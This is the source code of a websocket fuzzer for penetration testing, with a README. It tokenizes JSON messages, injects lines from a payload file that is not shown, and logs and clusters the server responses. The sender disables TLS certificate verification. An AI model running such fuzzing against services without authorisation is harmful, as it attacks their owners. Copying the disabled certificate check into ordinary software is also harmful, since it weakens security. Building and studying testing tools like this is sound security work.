├── websocket_fuzzer ├── __init__.py ├── main │ ├── __init__.py │ ├── message_parser.py │ ├── websocket_logfile.py │ ├── main.py │ └── websocket_wrapper.py ├── analysis │ ├── __init__.py │ └── response_analyzer.py ├── tokenizer │ ├── tests │ │ ├── __init__.py │ │ └── test_quotes.py │ ├── __init__.py │ ├── tokenizer.py │ ├── method_name.py │ └── quotes.py └── payloads │ ├── README.md │ └── payloads.txt ├── requirements.txt ├── .gitignore ├── send-one-message.py ├── README.md ├── websocket-fuzzer.py ├── analyze-output.py └── LICENSE /websocket_fuzzer/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /websocket_fuzzer/main/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /websocket_fuzzer/analysis/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /websocket_fuzzer/tokenizer/tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /websocket_fuzzer/tokenizer/__init__.py: -------------------------------------------------------------------------------- 1 | TOKEN = '$TOKEN$' -------------------------------------------------------------------------------- /websocket_fuzzer/payloads/README.md: -------------------------------------------------------------------------------- 1 | https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/all-attacks 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | websocket-client==0.46.0 2 | futures==3.2.0 3 | termcolor 4 | progress 5 | pygments 6 | numpy 7 | sklearn 8 | distance 9 | requests -------------------------------------------------------------------------------- /websocket_fuzzer/main/message_parser.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def get_messages_from_disk(path): 5 | """ 6 | Get all the websocket messages from disk. 7 | 8 | Each message should be in a different file. 9 | 10 | :param path: The path where files with messages are found 11 | :return: Yield messages read from disk 12 | """ 13 | for entry in os.listdir(path): 14 | entry = os.path.join(path, entry) 15 | if os.path.isfile(entry): 16 | yield file(entry).read() 17 | -------------------------------------------------------------------------------- /websocket_fuzzer/tokenizer/tests/test_quotes.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | 4 | from websocket_fuzzer.tokenizer.quotes import tokenize_double_quotes 5 | 6 | 7 | class TestQuotesTokenizer(unittest.TestCase): 8 | def test_simple(self): 9 | message = '{"Maker":"BMW"}' 10 | expected = ['{"$TOKEN$":"BMW"}', '{"Maker":"$TOKEN$"}'] 11 | generated = [] 12 | 13 | for tokenized_message in tokenize_double_quotes(message): 14 | generated.append(tokenized_message) 15 | 16 | self.assertEqual(expected, generated) 17 | -------------------------------------------------------------------------------- /websocket_fuzzer/tokenizer/tokenizer.py: -------------------------------------------------------------------------------- 1 | from websocket_fuzzer.tokenizer.quotes import tokenize_double_quotes 2 | from websocket_fuzzer.tokenizer.method_name import tokenize_method_name 3 | 4 | TOKENIZER_METHODS = [ 5 | tokenize_double_quotes, 6 | #tokenize_method_name 7 | ] 8 | 9 | 10 | def create_tokenized_messages(original_message, ignore_tokens): 11 | tokenized_messages = [] 12 | 13 | for tokenizer_method in TOKENIZER_METHODS: 14 | tokenized_messages.extend(tokenizer_method(original_message, ignore_tokens)) 15 | 16 | return tokenized_messages 17 | -------------------------------------------------------------------------------- /websocket_fuzzer/main/websocket_logfile.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | class WebSocketLogFile(object): 5 | def __init__(self, tokenized_count, log_path, log_filename): 6 | self.tokenized_count = tokenized_count 7 | self.log_path = log_path 8 | self.log_filename = log_filename 9 | self.counter = 0 10 | 11 | self.makedirs() 12 | 13 | def makedirs(self): 14 | output_path = '%s/%s/' % (self.log_path, self.tokenized_count) 15 | 16 | if not os.path.exists(output_path): 17 | os.makedirs(output_path) 18 | 19 | def get_filename(self): 20 | return '%s/%s/%s-%s.log' % (self.log_path, 21 | self.tokenized_count, 22 | self.log_filename, 23 | self.counter) 24 | 25 | def write(self, message): 26 | filename = self.get_filename() 27 | self.counter += 1 28 | 29 | file(filename, 'w').write(message) 30 | -------------------------------------------------------------------------------- /websocket_fuzzer/tokenizer/method_name.py: -------------------------------------------------------------------------------- 1 | from websocket_fuzzer.tokenizer import TOKEN 2 | 3 | 4 | def tokenize_method_name(ws_message, ignore_tokens): 5 | """ 6 | If the web service message (string passed as parameter) is: 7 | 8 | auth/Login|{"username": "...", "password": "..."} 9 | 10 | This method will yield: 11 | 12 | $TOKEN$/Login|{"username": "...", "password": "..."} 13 | auth/$TOKEN$|{"username": "...", "password": "..."} 14 | 15 | This is useful for other parts of the tool which will replace the token with 16 | something interesting and send it to the remote websocket. 17 | 18 | :param ws_message: A string representing the message 19 | :return: Many modified messages 20 | """ 21 | tokenized = [] 22 | 23 | slash = ws_message.find('/') 24 | pipe = ws_message.find('|') 25 | 26 | if not slash: 27 | return tokenized 28 | 29 | if not pipe: 30 | return tokenized 31 | 32 | if pipe < slash: 33 | return tokenized 34 | 35 | group = ws_message[:slash] 36 | if group not in ignore_tokens: 37 | tokenized.append(TOKEN + ws_message[slash:]) 38 | 39 | method = ws_message[slash:pipe] 40 | if method not in ignore_tokens: 41 | tokenized.append(ws_message[:slash + 1] + TOKEN + ws_message[pipe:]) 42 | 43 | return tokenized 44 | -------------------------------------------------------------------------------- /websocket_fuzzer/tokenizer/quotes.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from websocket_fuzzer.tokenizer import TOKEN 4 | 5 | QUOTES_RE = re.compile('"(.*?)"') 6 | 7 | 8 | def tokenize_double_quotes(ws_message, ignore_tokens): 9 | """ 10 | If the web service message (string passed as parameter) is: 11 | 12 | GetFeatures|{"CustomerId":30001}|{"Maker":"BMW","RegionCode":"US"} 13 | 14 | This method will yield: 15 | 16 | GetFeatures|{"$TOKEN$":30001}|{"Maker":"BMW","RegionCode":"US"} 17 | GetFeatures|{"CustomerId":30001}|{"$TOKEN$":"BMW","RegionCode":"US"} 18 | GetFeatures|{"CustomerId":30001}|{"Maker":"$TOKEN$","RegionCode":"US"} 19 | GetFeatures|{"CustomerId":30001}|{"Maker":"BMW","$TOKEN$":"US"} 20 | GetFeatures|{"CustomerId":30001}|{"Maker":"BMW","RegionCode":"$TOKEN$"} 21 | 22 | This is useful for other parts of the tool which will replace the token with 23 | something interesting and send it to the remote websocket. 24 | 25 | :param ws_message: A string representing the message 26 | :return: Many modified messages 27 | """ 28 | tokenized = [] 29 | 30 | for match in QUOTES_RE.finditer(ws_message): 31 | start, end = match.span() 32 | 33 | should_tokenize = True 34 | 35 | for ignore_token in ignore_tokens: 36 | if ignore_token == ws_message[start + 1:end - 1]: 37 | should_tokenize = False 38 | break 39 | 40 | if not should_tokenize: 41 | continue 42 | 43 | tokenized.append(ws_message[:start + 1] + TOKEN + ws_message[end - 1:]) 44 | 45 | return tokenized 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | 103 | 104 | output/ 105 | messages/ 106 | .idea/ -------------------------------------------------------------------------------- /send-one-message.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import logging 3 | 4 | from websocket_fuzzer.main.websocket_wrapper import send_payloads_in_websocket 5 | 6 | # 7 | # Configure logging 8 | # 9 | logging.basicConfig(level=logging.DEBUG, 10 | format='[%(asctime)s][%(levelname)-8s] %(message)s', 11 | datefmt='%m-%d %H:%M', 12 | filename='output.log', 13 | filemode='w') 14 | 15 | console = logging.StreamHandler() 16 | console.setLevel(logging.DEBUG) 17 | formatter = logging.Formatter('[%(asctime)s][%(levelname)-8s] %(message)s') 18 | console.setFormatter(formatter) 19 | logging.getLogger('').addHandler(console) 20 | 21 | # 22 | # User configured parameters 23 | # 24 | 25 | # The websocket address, including the protocol, for example: 26 | # 27 | # ws://localhost 28 | # wss://localhost 29 | # 30 | ws_address = '' 31 | 32 | # The proxy server used to send the messages. This is very useful 33 | # for debugging the tools 34 | http_proxy_host = 'localhost' 35 | http_proxy_port = '8080' 36 | 37 | # Log path, all messages are logged in different files 38 | log_path = 'output/' 39 | 40 | # Websocket authentication message. The tool will send the authentication 41 | # message (if included in messages below) and wait for `session_active_message` 42 | # before sending `message` 43 | auth_message = '' 44 | session_active_message = '' 45 | 46 | # The message to send to the websocket 47 | message = '' 48 | 49 | # The list containing all messages to be sent to the websocket. In some cases 50 | # You need to send two or more messages to set a specific remote state, and 51 | # then you send the attack 52 | messages = [ 53 | auth_message, 54 | message, 55 | ] 56 | 57 | # When doing analysis of the websocket responses to try to identify exceptions 58 | # and other errors, ignore these errors since they are common for the 59 | # application under test 60 | ignore_errors = [] 61 | 62 | # 63 | # Do not touch these lines 64 | # 65 | send_payloads_in_websocket(ws_address, 66 | messages, 67 | session_active_message, 68 | ignore_errors, 69 | 0, 70 | log_path, 71 | http_proxy_host, 72 | http_proxy_port) 73 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Websocket Fuzzer 2 | 3 | A simple websocket fuzzer for application penetration testing. 4 | 5 | Three tools are provided: 6 | 7 | * `websocket-fuzzer.py`: Receives a websocket message, modifies it, and 8 | then sends it in different connections. The response is analyzed to find 9 | potential vulnerabilities. 10 | 11 | * `send-one-message.py`: Sends a websocket message using a new connection 12 | 13 | * `analyze-output.py`: Analyzes the data generated by `websocket-fuzzer.py` 14 | 15 | All tools require considerable customization to be used. Please read the 16 | source code comments in both files to better understand all the parameters. 17 | 18 | ## Installation and usage 19 | 20 | ``` 21 | pip install -r requirements.txt 22 | 23 | # edit send-one-message.py 24 | python send-one-message.py 25 | ``` 26 | 27 | In most cases you'll want to use a proxy, such as OWASP ZAP or Burp Suite, to 28 | analyze the websocket traffic generated by these tools. Both tools support 29 | proxying the websocket traffic. 30 | 31 | The workflow for these tools is fairly simple: 32 | 33 | * Use `send-one-message.py` to define most of the variables, make sure that 34 | authentication is working, etc. Confirm all this with the logs and traffic 35 | seen in the local proxy. 36 | 37 | * Move the `send-one-message.py` configuration to `websocket-fuzzer.py` and 38 | customize the remaining parameters. Start the process and confirm that the 39 | fuzzer is sending what you expect. 40 | 41 | * Customize the payloads which are sent to the target using `payloads/payloads.txt` 42 | 43 | * The `websocket-fuzzer` will store the logs in text files with this format: 44 | `output/{token-id}/{connection-id}-{message-number}.log`. The `token-id` identifies 45 | the section of the fuzzed message that was modified. Grouping by `token-id` helps 46 | the `analyze-output.py` tool identify vulnerabilities. 47 | 48 | * Analyze the logs using `grep` to find specific things you're looking for, or 49 | `analyze-output.py` for a more generic analysis. 50 | 51 | ## Authentication 52 | 53 | The tools support authenticating using user-defined websocket messages. These 54 | messages are sent before the ones with the payloads. 55 | 56 | ## Logging 57 | 58 | All messages are logged to a user-defined directory. Each connection is logged 59 | to a different file. Detailed logging is very important for this tool, since 60 | it allows the user to run `grep` on the output to find interesting things. 61 | 62 | ## Fuzzing 63 | 64 | The tool was developed for fuzzing websocket applications which use `JSON` 65 | as a serialization method. If this is not the case for you, please customize 66 | the following functions: 67 | 68 | * `create_tokenized_messages` 69 | * `replace_token_in_json` 70 | -------------------------------------------------------------------------------- /websocket-fuzzer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import logging 4 | 5 | from websocket_fuzzer.main.main import fuzz_websockets 6 | 7 | # 8 | # Configure logging 9 | # 10 | logging.basicConfig(level=logging.DEBUG, 11 | format='[%(asctime)s][%(levelname)-8s] %(message)s', 12 | datefmt='%m-%d %H:%M', 13 | filename='output.log', 14 | filemode='w') 15 | 16 | console = logging.StreamHandler() 17 | console.setLevel(logging.INFO) 18 | formatter = logging.Formatter('[%(asctime)s][%(levelname)-8s] %(message)s') 19 | console.setFormatter(formatter) 20 | logging.getLogger('').addHandler(console) 21 | 22 | 23 | # 24 | # User configured parameters 25 | # 26 | 27 | # The websocket address, including the protocol, for example: 28 | # 29 | # ws://localhost 30 | # wss://localhost 31 | # 32 | ws_address = '' 33 | 34 | # The proxy server used to send the messages. This is very useful 35 | # for debugging the tools 36 | http_proxy_host = 'localhost' 37 | http_proxy_port = '8080' 38 | 39 | # Log path, all messages are logged in different files 40 | log_path = 'output/' 41 | 42 | # Websocket authentication message. The tool will send the authentication 43 | # message (if included in messages below) and wait for `session_active_message` 44 | # before sending `message` 45 | auth_message = '' 46 | session_active_message = '' 47 | 48 | # The message to send to the websocket (after fuzzing) 49 | message = '' 50 | 51 | # When fuzzing `message` ignore these tokens. The tokens are part of the original 52 | # message which shouldn't be replaced with the payloads. For example, if the 53 | # message is: 54 | # 55 | # {"foo": "bar"} 56 | # 57 | # And the `ignore_tokens` list contains "bar", then the fuzzer is not going to 58 | # send payloads in "bar" but it will in "foo". 59 | ignore_tokens = [] 60 | 61 | # The list containing messages to be sent to the websocket. In some cases 62 | # You need to send two or more messages to set a specific remote state, and 63 | # then you send the attack 64 | init_messages = [auth_message] 65 | 66 | # The messages to be fuzzed, these are sent in different websocket connections 67 | # after sending the `init_messages`. 68 | # 69 | # Each message is fuzzed using `create_tokenized_messages`. This tokenizer 70 | # function, together with `replace_token_in_json` needs to be customized 71 | # if your websocket messages are NOT JSON. 72 | original_messages = [message] 73 | 74 | # When doing analysis of the websocket responses to try to identify exceptions 75 | # and other errors, ignore these errors since they are common for the 76 | # application under test 77 | ignore_errors = [] 78 | 79 | # 80 | # Do not touch these lines 81 | # 82 | fuzz_websockets(ws_address, 83 | init_messages, 84 | original_messages, 85 | session_active_message, 86 | ignore_tokens, 87 | ignore_errors, 88 | log_path, 89 | http_proxy_host, 90 | http_proxy_port) 91 | -------------------------------------------------------------------------------- /websocket_fuzzer/main/main.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import Queue 3 | 4 | from concurrent import futures 5 | from progress.bar import Bar 6 | 7 | from websocket_fuzzer.main.websocket_wrapper import send_payloads_in_websocket 8 | from websocket_fuzzer.tokenizer import TOKEN 9 | from websocket_fuzzer.tokenizer.tokenizer import create_tokenized_messages 10 | 11 | 12 | PAYLOADS = 'websocket_fuzzer/payloads/payloads.txt' 13 | 14 | 15 | class ThreadPoolExecutorWithQueueSizeLimit(futures.ThreadPoolExecutor): 16 | def __init__(self, maxsize=50, *args, **kwargs): 17 | super(ThreadPoolExecutorWithQueueSizeLimit, self).__init__(*args, **kwargs) 18 | self._work_queue = Queue.Queue(maxsize=maxsize) 19 | 20 | 21 | def fuzz_websockets(ws_address, init_messages, original_messages, session_active_message, 22 | ignore_tokens, ignore_errors, output, http_proxy_host, http_proxy_port): 23 | """ 24 | Creates a websocket connection, sends the payloads, writes output to disk. 25 | 26 | :param ws_address: The websocket address to connect and send messages to 27 | 28 | :param init_messages: The login messages to send before any payloads. 29 | This parameter accepts a serialized message (a string) or a 30 | function that will generate the string when called. 31 | 32 | :param session_active_message: Wait for this message after sending the init_messages. Usually 33 | This is the message that says: "Login successful". Use None if 34 | there are no messages to wait for. 35 | 36 | :param original_messages: The original messages to be fuzzed 37 | This parameter accepts a serialized message (a string) or a 38 | function that will generate the string when called. 39 | 40 | :param ignore_tokens: When generating messages with payloads, do not replace these parts 41 | of the message. In general you want to set this list to all the 42 | keys in the json objects. For example, if the json object looks like 43 | {"foo": "bar"} , and you only want to fuzz the "bar" part of the message 44 | set ignore_tokens to ["foo"] 45 | 46 | :param ignore_errors: Ignore these errors when they are returned by the application 47 | 48 | :param output: Save all messages here 49 | 50 | :param http_proxy_host: The HTTP host (None if proxy shouldn't be used) 51 | :param http_proxy_port: The HTTP proxy (None if proxy shouldn't be used) 52 | 53 | :return: None 54 | """ 55 | logging.info('Starting the fuzzing process...') 56 | payload_count = len(file(PAYLOADS).readlines()) 57 | 58 | with ThreadPoolExecutorWithQueueSizeLimit(max_workers=25) as ex: 59 | 60 | for original_message in original_messages: 61 | 62 | # TODO: Not sure if this is the best place to call the original_message 63 | # function, but I need to get the message string to be able to 64 | # tokenize it and fuzz it... 65 | original_message = serialize_message(original_message) 66 | 67 | logging.info('Fuzzing message: %s' % original_message) 68 | tokenized_messages = create_tokenized_messages(original_message, ignore_tokens) 69 | 70 | bar = Bar('Processing', max=len(tokenized_messages) * payload_count) 71 | 72 | for tokenized_count, tokenized_message in enumerate(tokenized_messages): 73 | 74 | for payload in file(PAYLOADS): 75 | 76 | bar.next() 77 | 78 | # You might want to modify this if the message is not JSON 79 | modified_message = replace_token_in_json(payload, tokenized_message) 80 | 81 | logging.debug('Generated fuzzed message: %s' % modified_message) 82 | 83 | messages_to_send = init_messages[:] 84 | messages_to_send.append(modified_message) 85 | 86 | ex.submit(send_payloads_in_websocket, 87 | ws_address, 88 | messages_to_send, 89 | session_active_message, 90 | ignore_errors, 91 | tokenized_count, 92 | output, 93 | http_proxy_host, 94 | http_proxy_port) 95 | 96 | bar.finish() 97 | 98 | logging.debug('Finished fuzzing process') 99 | 100 | 101 | def replace_token_in_json(payload, tokenized_message): 102 | # Escape any quotes which are in the payload 103 | payload = payload.strip() 104 | payload = payload.replace('"', '\\"') 105 | 106 | # Do the replace 107 | modified_message = tokenized_message.replace(TOKEN, payload) 108 | return modified_message 109 | 110 | 111 | def serialize_message(message): 112 | """ 113 | This method gives the fuzzer support for using functions as messages. 114 | The function will be called to generate the message. 115 | 116 | :param message: A string with the message, or a function that generates 117 | the message to send to the wire. 118 | 119 | :return: A string with the message 120 | """ 121 | if callable(message): 122 | return message() 123 | 124 | return message 125 | -------------------------------------------------------------------------------- /analyze-output.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | 3 | import glob 4 | import argparse 5 | import json 6 | import numpy as np 7 | import sklearn.cluster 8 | import distance 9 | 10 | from websocket_fuzzer.analysis.response_analyzer import analyze_response 11 | 12 | 13 | IGNORE_MESSAGES = {'error', 14 | 'xml', 15 | 'sqlattempt1', 16 | 'sqlattempt2'} 17 | 18 | 19 | def distance_len(s1, s2): 20 | return len(s1) - len(s2) 21 | 22 | 23 | def extract_description_from_message(message): 24 | try: 25 | return json.loads(message)['description'] 26 | except: 27 | return 'Invalid JSON message: %s' % message 28 | 29 | 30 | def unique_responses(output_path): 31 | max_count = get_max_socket_message_count(output_path) 32 | listing = glob.glob(output_path + '*-%s.log' % max_count) 33 | 34 | messages = [file(filename).read() for filename in listing] 35 | messages = [extract_description_from_message(m) for m in messages] 36 | messages = set(list(messages)) 37 | 38 | print('') 39 | print('Unique websocket responses:') 40 | print('') 41 | 42 | for description in messages: 43 | print(' - "%s"' % description) 44 | 45 | 46 | def cluster_similar_responses(output_path): 47 | max_count = get_max_socket_message_count(output_path) 48 | listing = glob.glob(output_path + '*-%s.log' % max_count) 49 | 50 | messages = [file(filename).read() for filename in listing] 51 | messages = [extract_description_from_message(m) for m in messages] 52 | messages = np.asarray(messages) 53 | 54 | print() 55 | print('Clustering %s responses...(this might take a while)' % len(messages)) 56 | print() 57 | 58 | lev_similarity = -1 * np.array([[distance.levenshtein(m1, m2) for m1 in messages] for m2 in messages]) 59 | 60 | affprop = sklearn.cluster.AffinityPropagation(affinity='precomputed', 61 | damping=0.5) 62 | affprop.fit(lev_similarity) 63 | 64 | print('Generated clusters:') 65 | print() 66 | 67 | for cluster_id in np.unique(affprop.labels_): 68 | exemplar = messages[affprop.cluster_centers_indices_[cluster_id]] 69 | cluster = np.unique(messages[np.nonzero(affprop.labels_ == cluster_id)]) 70 | cluster_str = ', '.join(cluster) 71 | print('-' * 80) 72 | print(' - *%s:* %s' % (exemplar, cluster_str)) 73 | print('-' * 80) 74 | print() 75 | 76 | 77 | def analyze_responses_with_fingerprints(output_path): 78 | manual_analysis = [] 79 | 80 | # This depends on how websocket_logfile.py saves the output 81 | for filename in glob.glob(output_path + '*.log'): 82 | if analyze_response(file(filename).read(), IGNORE_MESSAGES): 83 | manual_analysis.append(filename) 84 | 85 | if not manual_analysis: 86 | return 87 | 88 | print() 89 | print('These files require manual analysis:') 90 | print() 91 | 92 | for filename in manual_analysis: 93 | print(' - %s' % filename) 94 | 95 | 96 | def get_max_socket_message_count(output_path): 97 | has_no_messages = 0 98 | max_has_no_messages = 10 99 | max_count = 0 100 | 101 | for count in xrange(100): 102 | 103 | # This depends on how websocket_logfile.py saves the output 104 | listing = glob.glob(output_path + '*-%s.log' % count) 105 | 106 | if not listing: 107 | has_no_messages += 1 108 | if has_no_messages >= max_has_no_messages: 109 | break 110 | 111 | continue 112 | 113 | max_count = count 114 | 115 | # -1 because the last message will always be /closed 116 | return max_count - 1 117 | 118 | 119 | def analyze_websocket_message_count(output_path): 120 | print() 121 | print('Most common message count per connection:') 122 | print() 123 | 124 | counts = {} 125 | 126 | for count in reversed(xrange(100)): 127 | 128 | # This depends on how websocket_logfile.py saves the output 129 | listing = glob.glob(output_path + '*-%s.log' % count) 130 | 131 | connection_ids = [] 132 | 133 | for filename in listing: 134 | filename = filename.replace(output_path, '') 135 | connection_id = filename.replace('-%s.log' % count, '') 136 | 137 | all_connection_ids = {x for v in counts.itervalues() for x in v} 138 | 139 | if connection_id not in all_connection_ids: 140 | connection_ids.append(connection_id) 141 | 142 | counts[count] = connection_ids 143 | 144 | for count in reversed(counts.keys()): 145 | listing = counts[count] 146 | 147 | if not listing: 148 | continue 149 | 150 | listing_str = ', '.join(listing) 151 | print('Found %s connections that sent %s messages: %s' % (len(listing), count, listing_str)) 152 | print() 153 | 154 | 155 | def analyze_output(output_path): 156 | analyze_responses_with_fingerprints(output_path) 157 | analyze_websocket_message_count(output_path) 158 | # cluster_similar_responses() 159 | unique_responses(output_path) 160 | 161 | 162 | def main(): 163 | parser = argparse.ArgumentParser(description='Analyze fuzzer output') 164 | 165 | parser.add_argument('-o', action='store', dest='output_path', required=True, 166 | help='Path to the fuzzer output directory (eg. "output/0/")') 167 | 168 | results = parser.parse_args() 169 | analyze_output(results.output_path) 170 | 171 | 172 | if __name__ == '__main__': 173 | main() 174 | -------------------------------------------------------------------------------- /websocket_fuzzer/main/websocket_wrapper.py: -------------------------------------------------------------------------------- 1 | import websocket 2 | import logging 3 | import time 4 | import ssl 5 | import threading 6 | import random 7 | import string 8 | import json 9 | 10 | from pygments import highlight 11 | from pygments.lexers import JsonLexer 12 | from pygments.formatters import TerminalFormatter 13 | from termcolor import colored 14 | 15 | from websocket import WebSocketConnectionClosedException 16 | from websocket_fuzzer.analysis.response_analyzer import analyze_response 17 | from websocket_fuzzer.main.websocket_logfile import WebSocketLogFile 18 | 19 | OUTGOING = 'outgoing' 20 | INCOMING = 'incoming' 21 | 22 | 23 | class FuzzingApp(websocket.WebSocketApp): 24 | def __init__(self, ws_address, messages_to_send, ignore_errors, tokenized_count, 25 | log_path, session_active_message, *args, **kwargs): 26 | 27 | # Just ignore the kwargs passed as parameter and use ours: 28 | kwargs = {'on_message': self.on_message, 29 | 'on_error': self.on_error, 30 | 'on_close': self.on_close, 31 | 'on_open': self.on_open} 32 | 33 | super(FuzzingApp, self).__init__(ws_address, **kwargs) 34 | 35 | self._id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 36 | self._id = self._id.lower() 37 | 38 | log_filename = self._id 39 | self.log_file = WebSocketLogFile(tokenized_count, log_path, log_filename) 40 | 41 | self.messages_to_send = messages_to_send 42 | self.messages_pending_response = 0 43 | self.analyze_responses = False 44 | self.wait_for_active_session = False 45 | self.session_active_message = session_active_message 46 | self.latest_message_timestamp = None 47 | self.latest_message_sent_timestamp = None 48 | self.ignore_errors = ignore_errors 49 | 50 | def log(self, message, direction=None): 51 | self.log_file.write(self.json_indent(message)) 52 | 53 | if direction in (OUTGOING, INCOMING): 54 | if self.latest_message_timestamp is None: 55 | relative_timestamp = 0.0 56 | else: 57 | relative_timestamp = time.time() - self.latest_message_timestamp 58 | self.latest_message_timestamp = time.time() 59 | 60 | message = self.json_highlight(message) 61 | 62 | if direction == OUTGOING: 63 | logging.debug('(%.4f)(%s)%s %s' % (relative_timestamp, self._id, colored('>>>', 'green'), message)) 64 | elif direction == INCOMING: 65 | logging.debug('(%.4f)(%s)%s %s' % (relative_timestamp, self._id, colored('<<<', 'red'), message)) 66 | else: 67 | logging.debug('(%s) %s' % (self._id, message)) 68 | 69 | def json_highlight(self, message): 70 | try: 71 | json_object = json.loads(message) 72 | except: 73 | return message 74 | else: 75 | json_str = json.dumps(json_object, indent=4, sort_keys=True) 76 | highlighted = highlight(json_str, JsonLexer(), TerminalFormatter()) 77 | return highlighted + '\n\n' 78 | 79 | def json_indent(self, message): 80 | """ 81 | If the message is JSON, then print it with indents. 82 | 83 | Also add a trailing \n if required. 84 | 85 | :param message: The message sent/received by the websocket 86 | :return: A pretty version of the message 87 | """ 88 | try: 89 | json_object = json.loads(message) 90 | except: 91 | return message 92 | else: 93 | json_str = json.dumps(json_object, indent=4, sort_keys=True) 94 | return json_str + '\n\n' 95 | 96 | def send_message(self, message, analyze=False): 97 | self.log(message, direction=OUTGOING) 98 | self.messages_pending_response += 1 99 | self.analyze_responses = analyze 100 | self.latest_message_sent_timestamp = time.time() 101 | 102 | try: 103 | self.send(message) 104 | except WebSocketConnectionClosedException: 105 | msg = '(%s) Connection was closed when trying to send message' 106 | logging.error(msg % self._id) 107 | 108 | def on_message(self, ws_conn, message): 109 | self.messages_pending_response = max(self.messages_pending_response - 1, 0) 110 | self.log(message, direction=INCOMING) 111 | 112 | if self.analyze_responses: 113 | found_interesting = analyze_response(message, self.ignore_errors) 114 | if found_interesting: 115 | msg = 'Potential issue found in connection with ID %s: %s' 116 | logging.warning(msg % (self._id, message)) 117 | 118 | if self.session_active_message is not None: 119 | if self.session_active_message in message: 120 | self.wait_for_active_session = False 121 | 122 | def on_error(self, ws_conn, error): 123 | self.log('/error %s' % error) 124 | 125 | def on_close(self, ws_conn): 126 | self.log('/closed') 127 | 128 | def serialize_message(self, message): 129 | """ 130 | This method gives the fuzzer support for using functions as messages. 131 | The function will be called to generate the message. 132 | 133 | :param message: A string with the message, or a function that generates 134 | the message to send to the wire. 135 | 136 | :return: A string with the message 137 | """ 138 | if callable(message): 139 | return message() 140 | 141 | return message 142 | 143 | def get_first_message(self): 144 | return self.serialize_message(self.messages_to_send[0]) 145 | 146 | def iterate_all_messages_except_first(self): 147 | for message in self.messages_to_send[1:]: 148 | yield self.serialize_message(message) 149 | 150 | def on_open(self, ws_conn): 151 | logging.debug('Connection success!') 152 | 153 | self.send_message(self.get_first_message()) 154 | 155 | t = threading.Thread(target=self.wait_for_login_and_send_payload,) 156 | t.start() 157 | 158 | def wait_for_pending_messages(self, wait_for_active_session=False): 159 | start_timestamp = time.time() 160 | should_wait = self.messages_pending_response > 0 161 | self.wait_for_active_session = wait_for_active_session 162 | 163 | while should_wait: 164 | # logging.debug('Waiting for server answers...') 165 | time.sleep(0.1) 166 | 167 | spent_time = time.time() - start_timestamp 168 | if spent_time > 5: 169 | logging.debug('Timed out waiting for answers') 170 | break 171 | 172 | if self.wait_for_active_session: 173 | continue 174 | 175 | waited_since_last_sent_message = time.time() - self.latest_message_sent_timestamp 176 | if waited_since_last_sent_message < 2.0: 177 | continue 178 | 179 | if self.messages_pending_response == 0: 180 | break 181 | 182 | def wait_for_login_and_send_payload(self): 183 | # This waits for the login response 184 | wait_for_active_session = self.session_active_message is not None 185 | self.wait_for_pending_messages(wait_for_active_session=wait_for_active_session) 186 | 187 | for message in self.iterate_all_messages_except_first(): 188 | # Send the payload(s) 189 | self.send_message(message, analyze=True) 190 | 191 | # Wait for the payload response 192 | self.wait_for_pending_messages() 193 | 194 | # All done, close the connection! 195 | logging.debug('All answers received! Closing connection.') 196 | 197 | try: 198 | self.close() 199 | except: 200 | pass 201 | 202 | 203 | def send_payloads_in_websocket(ws_address, messages_to_send, session_active_message, 204 | ignore_errors, tokenized_count, log_path, 205 | http_proxy_host, http_proxy_port): 206 | 207 | ws = FuzzingApp(ws_address, 208 | messages_to_send, 209 | ignore_errors, 210 | tokenized_count, 211 | log_path, 212 | session_active_message) 213 | ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}, 214 | http_proxy_host=http_proxy_host, 215 | http_proxy_port=http_proxy_port) 216 | 